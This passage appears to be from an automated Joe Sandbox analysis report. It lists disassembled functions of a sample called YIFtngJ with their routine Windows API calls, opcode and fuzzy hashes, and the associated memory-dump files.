Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c7cd454abab3e7e7e48f04c45f848a53bee9384ef892252abd3a48d242811e57
Instruction ID: 2e0173c249355c6ac89a3261d8730130192fe2eba82361c6d30668ec5255827d
Opcode Fuzzy Hash: c7cd454abab3e7e7e48f04c45f848a53bee9384ef892252abd3a48d242811e57
Instruction Fuzzy Hash: 42E0923165020D6BDB21AF65DC41FEE77EDEF09381F8440B6BA88C3054DF319D949A90

Function 00B69E13 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00B69E08,?,00B675A0,?,?,?,?), ref: 00B69E24
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00B69E08,?,00B675A0,?,?,?,?), ref: 00B69E50

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0f077b793a4a3adb05fc02b5c0f20474351c406ebb6cc80dc4ae8db3605949d3
Instruction ID: 51a15450817cb1777198b597fca52a750bf7942846cf78bc4b43caed63f44c60
Opcode Fuzzy Hash: 0f077b793a4a3adb05fc02b5c0f20474351c406ebb6cc80dc4ae8db3605949d3
Instruction Fuzzy Hash: AFE065325101585BCB10AA689C05BD97B9CDB087A1F0001A1FD58E3194DA715D888BD0

Function 00B6F309 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B6F324
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B6DEC8,Crypt32.dll,?,00B6DF4A,?,00B6DF2E,?,?,?,?), ref: 00B6F346

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: f78abf09b3bbb70f5ac23f6d649c22a453bfebd625ec397e36576913dd647b80
Instruction ID: 4aa43d8d30e72c8867eb480dd94614981a5a0ff758939ee399320bb63b5cae5e
Opcode Fuzzy Hash: f78abf09b3bbb70f5ac23f6d649c22a453bfebd625ec397e36576913dd647b80
Instruction Fuzzy Hash: 42E0127282111C6BDB11AAA49C09FEB77ACEB08381F0440AAB948D3115DA7499948BB0

Function 00B78924 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00B78945
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00B7894C

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 70c5cdedae4481b5860607a03611f4fc82af8a6d7fe42580f1bdd29ebf7fc965
Instruction ID: 5879fe12ebb73aa90a79f2d4d70a1d70c4c4a75bfb3ebca3a04b56a4eeaadfeb
Opcode Fuzzy Hash: 70c5cdedae4481b5860607a03611f4fc82af8a6d7fe42580f1bdd29ebf7fc965
Instruction Fuzzy Hash: 16E0ED75905218FFCB60DF99C5057AABBF8EB09361F10C4AEE85D93601D670AE04AB92

Function 00B7909E Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,00B8F79B,000000FF), ref: 00B790C7
CoUninitialize.COMBASE(?,?,?,00B8F79B,000000FF), ref: 00B790CC

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: c6bc7b7d801e6dd6a8e6acdda255903f1677f1f257dcb49ea4d34ce4f559e836
Instruction ID: 2432eaa2d5d6fd4ac8bb44e17440285262f07c5f9a2be7461f11e3a087da5b75
Opcode Fuzzy Hash: c6bc7b7d801e6dd6a8e6acdda255903f1677f1f257dcb49ea4d34ce4f559e836
Instruction Fuzzy Hash: 27E01A365486449FC320DB4CDD46B56BBE9FB09B20F0087AAB91E83B60CB386C00CB91

Function 00B80CA6 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00B81D9A: try_get_function.LIBVCRUNTIME ref: 00B81DAF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B80CC4
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00B80CCF

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 5acf11c090ea0b423152bd3b59ac7b4734fcb96e3147fcad8020adeef2dabd20
Instruction ID: cacc43f34d56b616052a08e655c58e2c55d1ec4f57cfc610fb6ff3dac115464c
Opcode Fuzzy Hash: 5acf11c090ea0b423152bd3b59ac7b4734fcb96e3147fcad8020adeef2dabd20
Instruction Fuzzy Hash: A6D0A7255687011419803F74282245A17C8D4127F0B7007C6E421A51F2DE51408EDB12

Function 00B612C2 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00B612D7
ShowWindow.USER32(00000000), ref: 00B612DE

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: c0e8ffc90a0001d75055a0fb23f66b5a21504604a7f04bda9a2c5ac2ed5e0b19
Instruction ID: 245e8ef50977853a9225fa15b5c65ca7a3a9f1d0884d9d354b5ab7eb9dd9daba
Opcode Fuzzy Hash: c0e8ffc90a0001d75055a0fb23f66b5a21504604a7f04bda9a2c5ac2ed5e0b19
Instruction Fuzzy Hash: 39C01232058100BFCB010B70DD09C2EBBED9B95311F00C905B4A5C1060C638C010DB52

Function 00B6FC30 Relevance: 2.5, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00BA1E74,?,?,?,?,00B6A5A0,?,?,?,?,00B8F79B,000000FF), ref: 00B6FC42
LeaveCriticalSection.KERNEL32(00BA1E74,?,?,?,?,00B6A5A0,?,?,?,?,00B8F79B,000000FF), ref: 00B6FC99

Part of subcall function 00B6F9D1: ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 00B6FA05
Part of subcall function 00B6F9D1: CloseHandle.KERNEL32(?,?), ref: 00B6FA1F
Part of subcall function 00B6F9D1: DeleteCriticalSection.KERNEL32(?), ref: 00B6FA38
Part of subcall function 00B6F9D1: CloseHandle.KERNELBASE(?), ref: 00B6FA44
Part of subcall function 00B6F9D1: CloseHandle.KERNEL32(?), ref: 00B6FA50

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CloseCriticalHandleSection$DeleteEnterLeaveReleaseSemaphore
String ID:
API String ID: 3265325312-0
Opcode ID: 9d1699969c16a6355deab0a60bcd07dc8ffd58121f482d42e207719a01906140
Instruction ID: 5b34a18d6a4d844a69527233335fe9147b9f6d7d74ecb44177e4e67a7aba87f2
Opcode Fuzzy Hash: 9d1699969c16a6355deab0a60bcd07dc8ffd58121f482d42e207719a01906140
Instruction Fuzzy Hash: 18F0FC3320521A6FD6116729FC8197EBBDCE78779471545BBFC1463141DF39AC0143A0

Function 00B619B1 Relevance: 1.8, APIs: 1, Instructions: 275COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B619B6

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: baa99a99d743652630e43379a5de4ac971e26e99e3622b0edd26024a4e0bea51
Instruction ID: e8da57d6ed6dc9856d2b0722f5065fdb384eed31a4d7d8b3018df8ac019a493e
Opcode Fuzzy Hash: baa99a99d743652630e43379a5de4ac971e26e99e3622b0edd26024a4e0bea51
Instruction Fuzzy Hash: D9B1C270A00646AFEB18CF7CC485ABDFBE6FF05304F1C4A9AE46597281C7399954CB91

Function 00B6820B Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B68210

Part of subcall function 00B6137E: __EH_prolog.LIBCMT ref: 00B61383
Part of subcall function 00B6137E: new.LIBCMT ref: 00B613FB

Part of subcall function 00B619B1: __EH_prolog.LIBCMT ref: 00B619B6

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 35948ea58cd5f13a1d85355cb132ae89100e527de7f146207fd76da4733e7a5b
Instruction ID: 53b1ce0da3e743ec84483637aaa5fc03f7a2ca1a0ce50f6cb301452bb0306cca
Opcode Fuzzy Hash: 35948ea58cd5f13a1d85355cb132ae89100e527de7f146207fd76da4733e7a5b
Instruction Fuzzy Hash: 72418F719006589ADB24EB64C851BEAB7F8AF50700F0405EAF48AA3192DF796EC8DF10

Function 00B721E6 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B721EB

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 84d84958d1b268f8d078e28e332b70b90bf64672675b571c8e393253bd2abb44
Instruction ID: 518abdace655bbeea79c35217f98624b443dc3d6a7d6ecac5dcdcef482ab985f
Opcode Fuzzy Hash: 84d84958d1b268f8d078e28e332b70b90bf64672675b571c8e393253bd2abb44
Instruction Fuzzy Hash: D921B9B1E40215AFDB14DF74CC4166B76E8FF14354F0086BAE91DEB682D7749D40C6A4

Function 00B79485 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B7948A

Part of subcall function 00B6137E: __EH_prolog.LIBCMT ref: 00B61383
Part of subcall function 00B6137E: new.LIBCMT ref: 00B613FB

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 14999ee7a8e2bd675fd9aa449ac2bb61688dade425d85acfef1596ffb400b45d
Instruction ID: 0d446308b4449cd4d17c03ece569f6a8a0189bd62625ceefc81b64ae588e3272
Opcode Fuzzy Hash: 14999ee7a8e2bd675fd9aa449ac2bb61688dade425d85acfef1596ffb400b45d
Instruction Fuzzy Hash: DA216B76C042599ACF11DFA9D9819EEBBF4FF19304F1444EEE819A7202D6396E05CB60

Function 00B690D0 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B690D5

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ba4aae4b2e056d5e889584ff6123cb345e8ac758857b0a524563bb8c42ab9661
Instruction ID: 3c9e30e23f58b05857caddf36b0f6d2f27921d1aad64dcdd007e5c5837ef06d2
Opcode Fuzzy Hash: ba4aae4b2e056d5e889584ff6123cb345e8ac758857b0a524563bb8c42ab9661
Instruction Fuzzy Hash: D311A573940429ABCF11AF58CC969EEBBB9FF49740F1445A5F81577221CA388C1087E0

Function 00B88EE4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00B85A8D: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B8634D,00000001,00000364,?,00B82213,?,?,00B9CBE8), ref: 00B85ACE

_free.LIBCMT ref: 00B88F50

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: ffe7a698f1ec9d313924040038d8a651e71016dbf9af90b8887af046bf84921e
Instruction ID: 4b88942166190bda3e70f500548c01ef21f8622dd333731d64c8a02aefa0a0ee
Opcode Fuzzy Hash: ffe7a698f1ec9d313924040038d8a651e71016dbf9af90b8887af046bf84921e
Instruction Fuzzy Hash: 4901F9722043456BE7319F69D881D5AFBD9EB85370F650AADE69883280EB30AC05C774

Function 00B85A8D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B8634D,00000001,00000364,?,00B82213,?,?,00B9CBE8), ref: 00B85ACE

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 85bdd90a8ebe5fe48a28349faa8ce32e81157fbb64c0547233b19b31edca2cfa
Instruction ID: b760633590f512461562cd5ce2651742f64623ff98de6e0cf6915c290e892946
Opcode Fuzzy Hash: 85bdd90a8ebe5fe48a28349faa8ce32e81157fbb64c0547233b19b31edca2cfa
Instruction Fuzzy Hash: 0CF0BE31605E206FEB397B228DC5B5A37C8EF417A1F2842D2F819971B0CA70DC00C7A0

Function 00B859FC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00B823AA,?,0000015D,?,?,?,?,00B82F29,000000FF,00000000,?,?), ref: 00B85A2E

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 66ed8877033fe07914ffed141126aa57505216d8393a3a2308203b66a0e0df13
Instruction ID: 4872aeba1e72c5580cf61632ffafaeb28bf476c2be6aec8d61b48829b11e57ef
Opcode Fuzzy Hash: 66ed8877033fe07914ffed141126aa57505216d8393a3a2308203b66a0e0df13
Instruction Fuzzy Hash: B5E0ED31100A256BE6383B61CCC6B9A36C8EF123A5F0503E1AC06961B0DB70CC00C3A4

Function 00B65B35 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B65B3A

Part of subcall function 00B6AC66: __EH_prolog.LIBCMT ref: 00B6AC6B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f3750de4ff4bd7bf0949d0eef2b1b0bc9a05cebab9da23be4fb67dc0cccd04fb
Instruction ID: fbba30a496d3848dad5914d011f9cea3d7c54c6794ba54f3014ce37e6abfcb4a
Opcode Fuzzy Hash: f3750de4ff4bd7bf0949d0eef2b1b0bc9a05cebab9da23be4fb67dc0cccd04fb
Instruction Fuzzy Hash: 71018131904686DACB14E7A4D4567EDFBE4EF56304F0080EEA85963282DBB82B08D763

Function 00B6A145 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00B6A174

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 12bfafb91d729630cde1a584d14047d6eda193d0fdeb19a1c020695adc129064
Instruction ID: dd483bd8c10c67c9c4e6ed96dd729ccedef9e79e2670f5b8e1c88b7fe3f392a0
Opcode Fuzzy Hash: 12bfafb91d729630cde1a584d14047d6eda193d0fdeb19a1c020695adc129064
Instruction Fuzzy Hash: 12F08935409780EECE225BB48405BC77BD56F17331F048A89F1FD62191C27954999B22

Function 00B61E8E Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B61E93

Part of subcall function 00B618F6: __EH_prolog.LIBCMT ref: 00B618FB

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6d3f9bffeff2c5959856359e3e85dbe0c8f85b0b599d54f9a8c1b1ac19ffa2cd
Instruction ID: 54297234faf63c1e95205426af766d8c052eeeb7aa16bdba1757363321548a49
Opcode Fuzzy Hash: 6d3f9bffeff2c5959856359e3e85dbe0c8f85b0b599d54f9a8c1b1ac19ffa2cd
Instruction Fuzzy Hash: 97F098B1D012998ECF51EFACC4456EEBBF5BB18300F1845BED419E7202E7395644CB91

Function 00B61E93 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B61E93

Part of subcall function 00B618F6: __EH_prolog.LIBCMT ref: 00B618FB

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
